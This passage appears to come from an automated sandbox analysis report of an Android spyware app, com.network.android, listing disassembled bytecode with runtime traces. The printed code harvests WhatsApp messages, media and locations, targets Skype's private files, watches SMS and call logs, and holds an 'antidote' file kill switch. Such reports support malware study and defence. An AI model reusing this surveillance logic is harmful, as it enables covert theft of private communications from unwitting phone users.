      • java.lang.StringBuilder.<init>
      • com.network.android.SmsReceiver.a:Ljava/lang/String
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.android.NetworkMain.finish
      Strings
      • Main activity:
      • Main activity: null
      Position Instruction Meta Information
      1invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
      2new-instance v0, Ljava/lang/StringBuilder;
      4const-string v1, "Main activity: "
      6invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      8sget-object v1, Lcom/network/android/SmsReceiver;->a:Ljava/lang/String;
      10invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      11move-result-object v0
      13invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      14move-result-object v0
      16invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068993
        • p0: Main activity: null
      18invoke-virtual {p0}, Lcom/network/android/NetworkMain;->finish()V
      19return-void
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • /data/data/com.network.android/logs/0vlt.dat
      • write 2:
      Position Instruction Meta Information
      0const-class v1, Lcom/network/android/c/a/b;
      1monitor-enter v1
      2try_start_3:
      3const-string v0, ""
      4const/4 v2, 0x0
      6invoke-static {p0, p1, v0, v2}, Lcom/network/android/c/a/b;->b(ISLjava/lang/String;Ljava/lang/Object;)V
      • Time: 1078006
        • This:
          • java.io.FileOutputStream@a8979
        • p0: /data/data/com.network.android/logs/0vlt.dat
        • p1: true
        • Return:
          • java.io.FileOutputStream@a8979
      7goto_9: monitor-exit v1
      8return-void
      9catch_b: move-exception v0
      10try_start_c: new-instance v2, Ljava/lang/StringBuilder;
      12const-string v3, "write 2: "
      14invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      16invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      17move-result-object v3
      19invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      20move-result-object v2
      22invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      23move-result-object v2
      25invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      26try_end_22: goto/16 :goto_9
      27catchall_23: move-exception v0
      28monitor-exit v1
      29throw v0
      Cross References
      APIs
      • com.network.android.b.a.g
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • DatabaseHandler hasData DB size:
      • DatabaseHandler hasData DB size: 0
      Position Instruction Meta Information
      1invoke-direct {p0}, Lcom/network/android/b/a;->g()I
      2move-result v0
      3new-instance v1, Ljava/lang/StringBuilder;
      5const-string v2, "DatabaseHandler hasData DB size: "
      7invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      9invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      10move-result-object v1
      12invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      13move-result-object v1
      15invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074375
        • p0: DatabaseHandler hasData DB size: 0
      16if-lez v0, :cond_1a
      17const/4 v0, 0x1
      18goto_19: return v0
      19cond_1a: const/4 v0, 0x0
      20goto/16 :goto_19
      APIs
      • com.network.android.d.f.<init>
      • java.util.Map.get
      • java.util.Map.get
      • java.io.File.<init>
      Strings
      • timestamp
      • /data/data/com.skype.raider/files/
      Position Instruction Meta Information
      0new-instance v0, Lcom/network/android/d/f;
      2invoke-direct {v0}, Lcom/network/android/d/f;-><init>()V
      3sput-object v0, Lcom/network/android/d/e;->c:Ljava/util/Map;
      5const-string v1, "timestamp"
      7invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      8move-result-object v0
      9check-cast v0, Ljava/lang/String;
      10sput-object v0, Lcom/network/android/d/e;->d:Ljava/lang/String;
      12sget-object v0, Lcom/network/android/d/e;->c:Ljava/util/Map;
      14const-string v1, "timestamp"
      16invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      17move-result-object v0
      18check-cast v0, Ljava/lang/String;
      19sput-object v0, Lcom/network/android/d/e;->e:Ljava/lang/String;
      20new-instance v0, Ljava/io/File;
      22const-string v1, "/data/data/com.skype.raider/files/"
      24invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      • Time: 1068727
        • This:
          • /data/data/com.skype.raider/files
        • p0: /data/data/com.skype.raider/files/
        • Return:
          • /data/data/com.skype.raider/files
      25sput-object v0, Lcom/network/android/d/e;->f:Ljava/io/File;
      26return-void
      Cross References
      APIs
      • java.io.File.<init>
      • java.io.File.exists
      Strings
      • /sdcard/MemosForNotes
      • checkIfAntiduteExists. killing self
      • checkIfAntiduteExists. no antidute found. returning false
      Position Instruction Meta Information
      0new-instance v0, Ljava/io/File;
      2const-string v1, "/sdcard/MemosForNotes"
      4invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      • Time: 1068279
        • This:
          • /sdcard/MemosForNotes
        • p0: /sdcard/MemosForNotes
        • Return:
          • /sdcard/MemosForNotes
      6invoke-virtual {v0}, Ljava/io/File;->exists()Z
      • Time: 1068282
        • This:
          • /sdcard/MemosForNotes
        • Return:
          • false
      7move-result v0
      8if-eqz v0, :cond_17
      10const-string v0, "checkIfAntiduteExists. killing self"
      12invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      14invoke-static {p0}, Lcom/network/h/b;->a(Landroid/content/Context;)V
      15const/4 v0, 0x1
      16goto_16: return v0
      17cond_17:
      18const-string v0, "checkIfAntiduteExists. no antidute found. returning false"
      20invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068284
        • p0: checkIfAntiduteExists. no antidute found. returning false
      21const/4 v0, 0x0
      22goto/16 :goto_16
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • com.network.android.SmsReceiver.a:Ljava/lang/String
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.android.SmsReceiver.a:Ljava/lang/String
      Strings
      • getAgetAddress-
      • getAgetAddress- null
      Position Instruction Meta Information
      1invoke-static {p0}, Lcom/network/b/b;->a(Landroid/content/Context;)Ljava/lang/String;
      2move-result-object v0
      3sput-object v0, Lcom/network/android/SmsReceiver;->a:Ljava/lang/String;
      4new-instance v0, Ljava/lang/StringBuilder;
      6const-string v1, "getAgetAddress- "
      8invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      10sget-object v1, Lcom/network/android/SmsReceiver;->a:Ljava/lang/String;
      12invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      13move-result-object v0
      15invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      16move-result-object v0
      18invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074510
        • p0: getAgetAddress- null
      20sget-object v0, Lcom/network/android/SmsReceiver;->a:Ljava/lang/String;
      21return-object v0
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • AndroidCallDirectWatcher setCallLogId:
      • AndroidCallDirectWatcher setCallLogId: null
      Position Instruction Meta Information
      0new-instance v0, Ljava/lang/StringBuilder;
      2const-string v1, "AndroidCallDirectWatcher setCallLogId: "
      4invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      6invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      7move-result-object v0
      9invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      10move-result-object v0
      12invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068555
        • p0: AndroidCallDirectWatcher setCallLogId: null
      13sput-object p0, Lcom/network/android/AndroidCallDirectWatcher;->i:Ljava/lang/String;
      14return-void
      Cross References
      APIs
      Strings
      • Remove Preferences
      • NetworkPreferences
      • NetworkWindowAddresess
      • NetworkDataList
      Position Instruction Meta Information
      0try_start_0:
      1const-string v0, "Remove Preferences"
      3invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079658
        • p0: Remove Preferences
      5const-string v0, "NetworkPreferences"
      7invoke-static {p0, v0}, Lcom/network/b/b;->a(Landroid/content/Context;Ljava/lang/String;)V
      9const-string v0, "NetworkWindowAddresess"
      11invoke-static {p0, v0}, Lcom/network/b/b;->a(Landroid/content/Context;Ljava/lang/String;)V
      13const-string v0, "NetworkDataList"
      15invoke-static {p0, v0}, Lcom/network/b/b;->a(Landroid/content/Context;Ljava/lang/String;)V
      16try_end_14: return-void
      17catch_15: move-exception v0
      19const-string v1, "Remove Preferences"
      21invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      22goto/16 :goto_14
      Cross References
      APIs
      • java.io.File.<init>
      • java.io.File.exists
      • java.lang.Boolean.valueOf
      • java.lang.Boolean.booleanValue
      Strings
      • /system/csk
      Position Instruction Meta Information
      1sget-object v0, Lcom/network/b/b;->ak:Ljava/lang/Boolean;
      2if-nez v0, :cond_15
      3new-instance v0, Ljava/io/File;
      5const-string v1, "/system/csk"
      7invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      • Time: 1068324
        • This:
          • /system/csk
        • p0: /system/csk
        • Return:
          • /system/csk
      9invoke-virtual {v0}, Ljava/io/File;->exists()Z
      • Time: 1068328
        • This:
          • /system/csk
        • Return:
          • false
      10move-result v0
      12invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
      13move-result-object v0
      14sput-object v0, Lcom/network/b/b;->ak:Ljava/lang/Boolean;
      15cond_15:
      16sget-object v0, Lcom/network/b/b;->ak:Ljava/lang/Boolean;
      18invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z
      19move-result v0
      20return v0
      Cross References
      APIs
      • android.os.Handler.<init>
      • android.os.Handler.postDelayed
      Strings
      • MO kill
      Position Instruction Meta Information
      1const-string v0, "MO kill"
      3invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073695
        • p0: MO kill
      4const/4 v0, 0x1
      5sput-boolean v0, Lcom/network/android/a/c;->i:Z
      6new-instance v0, Landroid/os/Handler;
      8invoke-direct {v0}, Landroid/os/Handler;-><init>()V
      9new-instance v1, Lcom/network/android/a/g;
      11invoke-direct {v1, p0}, Lcom/network/android/a/g;-><init>(Landroid/content/Context;)V
      12const-wide/16 v2, 0xfa0
      14invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
      15return-void
      Cross References
      APIs
      • android.database.sqlite.SQLiteOpenHelper.<init>
      Strings
      • NetworkManagerData.db
      • DatabaseHandler was build
      Position Instruction Meta Information
      1const-string v0, "NetworkManagerData.db"
      2const/4 v1, 0x0
      3const/4 v2, 0x1
      5invoke-direct {p0, p1, v0, v1, v2}, Landroid/database/sqlite/SQLiteOpenHelper;-><init>(Landroid/content/Context;Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)V
      7const-string v0, "DatabaseHandler was build"
      9invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074211
        • p0: DatabaseHandler was build
      10return-void
      Cross References
      APIs
      • com.network.android.agent.NetworkApp.a:Landroid/os/Handler
      • android.os.Handler.post
      Strings
      • NetworkApp emptyDataQueueAyn
      Position Instruction Meta Information
      1const-string v0, "NetworkApp emptyDataQueueAyn"
      3invoke-static {v0}, Lcom/network/android/g;->a(Ljava/lang/String;)V
      • Time: 1079558
        • p0: NetworkApp emptyDataQueueAyn
      5sget-object v0, Lcom/network/android/agent/NetworkApp;->a:Landroid/os/Handler;
      6new-instance v1, Lcom/network/android/agent/e;
      8invoke-direct {v1, p0}, Lcom/network/android/agent/e;-><init>(Landroid/content/Context;)V
      10invoke-virtual {v0, v1}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
      11return-void
      Cross References
      APIs
      • com.network.android.b.a.b
      Position Instruction Meta Information
      1invoke-static {p0}, Lcom/network/android/j;->g(Landroid/content/Context;)Lcom/network/android/b/a;
      2move-result-object v0
      4invoke-virtual {v0}, Lcom/network/android/b/a;->b()Z
      • Time: 1074379
        • This:
          • com.network.android.b.a@4db6293
        • Return:
          • false
      5move-result v0
      6return v0

      26 Non-Executed Methods

      Cross References
      APIs
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.String.equals
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getInt
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.length
      • java.lang.String.split
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.SharedPreferences.getString
      • android.content.SharedPreferences.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getInt
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getString
      • java.lang.String.indexOf
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.contains
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.length
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getDouble
      • android.database.Cursor.getColumnIndex
      • android.database.Cursor.getDouble
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.substring
      • java.lang.String.contains
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.SharedPreferences.getString
      • java.lang.String.split
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.indexOf
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.substring
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.length
      • java.lang.String.indexOf
      • java.lang.String.indexOf
      • java.lang.String.substring
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.SharedPreferences.getString
      • java.lang.String.split
      • java.lang.String.indexOf
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.substring
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • key_remote_jid
      • -1
      • data
      • media_name
      • media_wa_type
      • media_url
      • whatsapp mediaType 0 - it a new contact or new group
      • get whatsapp iter-
      • /
      • Image:
      • 666
      • My Name
      • registration_jid
      • No Number
      • push_name
      • _id
      • timestamp
      • key_from_me
      • remote_resource
      • @
      • addWhatsAppSingleEntry cannot find \'@\' in \'
      • \'
      • BEGIN:VCARD
      • Audio:
      • Vidao:
      • Contact:
      • latitude
      • longitude
      • Location:(
      • ,
      • )
      • - (
      • whatsapp Location:
      • -
      • unknown
      • ,
      • imEntry
      • recordId
      • sessionId
      • from
      • platform
      • whatsapp
      • chat
      • :
      • participants
      • participantNumbers
      • get whatsapp iter serializeWhatsAppSingleEntry -
      • pa-
      • whatsapp groupIdsArry length:
      • addWhatsAppSingleEntry loop cannot find \'@\' in \'
      • addWhatsAppSingleEntry last cannot find \'@\' in \'
      Position Instruction Meta Information
      0try_start_0:
      1const-string v1, "key_remote_jid"
      3invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      4move-result v1
      6invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      7move-result-object v2
      9const-string v1, "-1"
      11invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      12move-result v1
      13if-eqz v1, :cond_13
      14cond_12: return-void
      15cond_13:
      16const-string v1, "data"
      18invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      19move-result v1
      21invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      22move-result-object v3
      24const-string v1, "media_name"
      26invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      27move-result v1
      29invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      30move-result-object v5
      32const-string v1, "media_wa_type"
      34invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      35move-result v1
      37invoke-interface {p0, v1}, Landroid/database/Cursor;->getInt(I)I
      38move-result v6
      40const-string v1, "media_url"
      42invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      43move-result v1
      45invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      46move-result-object v4
      47if-nez v6, :cond_63
      48if-eqz v3, :cond_45
      50invoke-virtual {v3}, Ljava/lang/String;->length()I
      51move-result v1
      52if-nez v1, :cond_63
      53cond_45:
      54const-string v1, "whatsapp mediaType 0 - it a new contact or new group "
      56invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      57try_end_4a: goto/16 :goto_12
      58catch_4b: move-exception v1
      59new-instance v2, Ljava/lang/StringBuilder;
      61const-string v3, "get whatsapp iter- "
      63invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      65invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      66move-result-object v3
      68invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      69move-result-object v2
      71invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      72move-result-object v2
      74invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      75goto/16 :goto_12
      76cond_63: const/4 v1, 0x0
      77if-eqz v4, :cond_77
      78try_start_66:
      79invoke-virtual {v4}, Ljava/lang/String;->length()I
      80move-result v7
      81if-lez v7, :cond_77
      83const-string v7, "/"
      85invoke-virtual {v4, v7}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
      86move-result-object v4
      87array-length v7, v4
      88add-int/lit8 v7, v7, -0x1
      89aget-object v1, v4, v7
      90try_end_77: move-object v4, v1
      91goto_78: if-nez v3, :cond_10c
      92try_start_7a:
      93const-string v1, ""
      94goto_7c: const/4 v3, 0x1
      95if-ne v6, v3, :cond_13a
      96if-eqz v5, :cond_118
      98invoke-virtual {v5}, Ljava/lang/String;->length()I
      99move-result v3
      100if-lez v3, :cond_118
      101new-instance v3, Ljava/lang/StringBuilder;
      103invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      105invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      106move-result-object v1
      108const-string v3, " Image:"
      110invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      111move-result-object v1
      113invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      114move-result-object v1
      116invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      117move-result-object v1
      118move-object v8, v1
      119goto_9f:
      120const-string v5, "666"
      122const-string v6, "My Name"
      123if-eqz p2, :cond_b9
      125const-string v1, "registration_jid"
      127const-string v3, "No Number"
      128move-object/from16 v0, p2
      130invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      131move-result-object v5
      133const-string v1, "push_name"
      135const-string v3, "No Number"
      136move-object/from16 v0, p2
      138invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      139move-result-object v6
      140cond_b9:
      141const-string v1, "_id"
      143invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      144move-result v1
      146invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      147move-result-object v9
      149const-string v1, "timestamp"
      151invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      152move-result v1
      154invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      155move-result-object v10
      157const-string v1, "key_from_me"
      159invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      160move-result v1
      162invoke-interface {p0, v1}, Landroid/database/Cursor;->getInt(I)I
      163move-result v1
      164const/4 v3, 0x1
      165if-ne v1, v3, :cond_257
      166const/4 v1, 0x1
      167move v7, v1
      168goto_dc:
      169const-string v1, "remote_resource"
      171invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      172move-result v1
      174invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      175move-result-object v11
      177const-string v1, "@"
      179invoke-virtual {v2, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
      180move-result v1
      181if-gez v1, :cond_25b
      182new-instance v1, Ljava/lang/StringBuilder;
      184const-string v3, "addWhatsAppSingleEntry cannot find \'@\' in \'"
      186invoke-direct {v1, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      188invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      189move-result-object v1
      191const-string v2, "\'"
      193invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      194move-result-object v1
      196invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      197move-result-object v1
      199invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      200goto/16 :goto_12
      201catch_108: move-exception v4
      202move-object v4, v1
      203goto/16 :goto_78
      204cond_10c:
      205const-string v1, "BEGIN:VCARD"
      207invoke-virtual {v3, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
      208move-result v1
      209if-eqz v1, :cond_502
      211const-string v1, ""
      212goto/16 :goto_7c
      213cond_118: if-eqz v4, :cond_254
      215invoke-virtual {v4}, Ljava/lang/String;->length()I
      216move-result v3
      217if-lez v3, :cond_254
      218new-instance v3, Ljava/lang/StringBuilder;
      220invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      222invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      223move-result-object v1
      225const-string v3, " Image:"
      227invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      228move-result-object v1
      230invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      231move-result-object v1
      233invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      234move-result-object v1
      235move-object v8, v1
      236goto/16 :goto_9f
      237cond_13a: const/4 v3, 0x2
      238if-ne v6, v3, :cond_181
      239if-eqz v5, :cond_15f
      241invoke-virtual {v5}, Ljava/lang/String;->length()I
      242move-result v3
      243if-lez v3, :cond_15f
      244new-instance v3, Ljava/lang/StringBuilder;
      246invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      248invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      249move-result-object v1
      251const-string v3, " Audio:"
      253invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      254move-result-object v1
      256invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      257move-result-object v1
      259invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      260move-result-object v1
      261move-object v8, v1
      262goto/16 :goto_9f
      263cond_15f: if-eqz v4, :cond_254
      265invoke-virtual {v4}, Ljava/lang/String;->length()I
      266move-result v3
      267if-lez v3, :cond_254
      268new-instance v3, Ljava/lang/StringBuilder;
      270invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      272invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      273move-result-object v1
      275const-string v3, " Audio:"
      277invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      278move-result-object v1
      280invoke-virtual {v1, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      281move-result-object v1
      283invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      284move-result-object v1
      285move-object v8, v1
      286goto/16 :goto_9f
      287cond_181: const/4 v3, 0x3
      288if-ne v6, v3, :cond_1c8
      289if-eqz v5, :cond_1a6
      291invoke-virtual {v5}, Ljava/lang/String;->length()I
      292move-result v3
      293if-lez v3, :cond_1a6
      294new-instance v3, Ljava/lang/StringBuilder;
      296invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
